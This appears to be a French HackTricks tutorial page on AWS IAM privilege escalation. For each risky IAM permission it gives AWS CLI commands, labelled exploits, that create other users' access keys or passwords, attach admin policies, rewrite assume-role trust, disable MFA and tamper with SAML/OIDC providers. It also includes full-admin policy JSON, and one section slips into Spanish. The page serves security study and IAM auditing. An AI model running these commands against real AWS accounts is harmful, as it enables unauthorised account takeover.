AWS - IAM Privesc

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

IAM

Pour plus d'informations sur IAM, consultez :

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Accorde la possibilité de créer une nouvelle version d'une politique IAM, en contournant le besoin de la permission iam:SetDefaultPolicyVersion en utilisant le flag --set-as-default. Cela permet de définir des permissions personnalisées.

Commande d'exploitation :

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impact : Escalade directement les privilèges en permettant toute action sur toute ressource.

iam:SetDefaultPolicyVersion

Permet de changer la version par défaut d'une politique IAM vers une autre version existante, pouvant potentiellement escalader les privilèges si la nouvelle version comporte davantage d'autorisations.

Commande Bash :

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impact: Indirect privilege escalation en autorisant des permissions supplémentaires.

iam:CreateAccessKey

Permet de créer un access key ID et un secret access key pour un autre utilisateur, ce qui peut entraîner une privilege escalation.

Exploit:

bash
aws iam create-access-key --user-name <target_user>

Impact: Élévation de privilèges directe en assumant les permissions étendues d'un autre utilisateur.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Permet de créer ou de mettre à jour un login profile, y compris définir des mots de passe pour la connexion à la console AWS, conduisant à une élévation de privilèges directe.

Exploit for Creation:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit pour la mise à jour:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impact : Escalade directe des privilèges en se connectant en tant qu'utilisateur "n'importe quel".

iam:UpdateAccessKey

Permet d'activer une access key désactivée, ce qui peut conduire à un accès non autorisé si l'attaquant possède cette access key.

Exploitation :

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impact : Escalade directe de privilèges en réactivant des access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Permet de générer ou de réinitialiser des credentials pour des services AWS spécifiques (par ex., CodeCommit, Amazon Keyspaces), en héritant des permissions de l'utilisateur associé.

Exploit for Creation:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Exploit pour Reset:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Escalade de privilèges directe au sein des permissions de service de l'utilisateur.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Permet d'attacher des policies aux utilisateurs ou groupes, escaladant directement les privilèges en héritant des permissions de la policy attachée.

Exploit pour l'utilisateur :

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit pour le groupe :

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impact: Élévation directe de privilèges vers tout ce que la policy accorde.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Permet d'attacher ou d'ajouter des policies à des roles, users ou groups, autorisant une élévation directe de privilèges en accordant des permissions supplémentaires.

Exploit for Role:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit pour les Inline Policies:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Vous pouvez utiliser une politique comme :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impact: Direct privilege escalation en ajoutant des permissions via des policies.

iam:AddUserToGroup

Permet de s'ajouter à un groupe IAM, escalating privileges en héritant des permissions du groupe.

Exploit:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impact: Escalade de privilèges directe au niveau des autorisations du groupe.

iam:UpdateAssumeRolePolicy

Permet de modifier le document de stratégie assume role d'un rôle, permettant d'assumer ce rôle et ses autorisations associées.

Exploit:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Lorsque la stratégie ressemble à ce qui suit, ce qui donne à l'utilisateur l'autorisation d'assumer le rôle :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact : Élévation de privilèges directe en assumant les permissions de n'importe quel rôle.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Permet de téléverser une clé publique SSH pour s'authentifier sur CodeCommit et de désactiver des dispositifs MFA, conduisant à une possible élévation de privilèges indirecte.

Exploit pour le téléversement de la clé SSH :

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Exploit pour la désactivation MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Escalade de privilèges indirecte en activant l'accès à CodeCommit ou en désactivant la protection MFA.

iam:ResyncMFADevice

Permet la resynchronisation d'un appareil MFA, ce qui peut entraîner une escalade de privilèges indirecte en manipulant la protection MFA.

Bash Command:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact : Escalade de privilèges indirecte en ajoutant ou en manipulant des dispositifs MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Avec ces permissions, vous pouvez modifier les métadonnées XML de la connexion SAML. Ensuite, vous pourriez abuser de la fédération SAML pour vous connecter avec n'importe quel rôle qui lui fait confiance.

Notez que si vous faites cela les utilisateurs légitimes ne pourront pas se connecter. Cependant, vous pouvez obtenir le XML, le remplacer par le vôtre, vous connecter et ensuite restaurer la configuration précédente.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Un outil capable de générer les SAML metadata et de se connecter avec un rôle spécifié

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Incertain à ce sujet) Si un attaquant dispose de ces permissions, il pourrait ajouter un nouveau Thumbprint pour réussir à se connecter à tous les roles faisant confiance au provider.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Cette permission permet à un attacker de mettre à jour le permissions boundary d'un utilisateur, ce qui peut potentiellement augmenter ses privileges en lui permettant d'effectuer des actions normalement restreintes par ses permissions existantes.

bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Un acteur disposant de iam:PutRolePermissionsBoundary peut définir une limite de permissions (permissions boundary) sur un rôle existant. Le risque survient lorsqu'une personne ayant cette permission modifie la boundary d'un rôle : elle peut restreindre indûment des opérations (provoquant une interruption de service) ou, si elle attache une boundary permissive, étendre effectivement ce que le rôle peut faire et escalader les privilèges.

bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks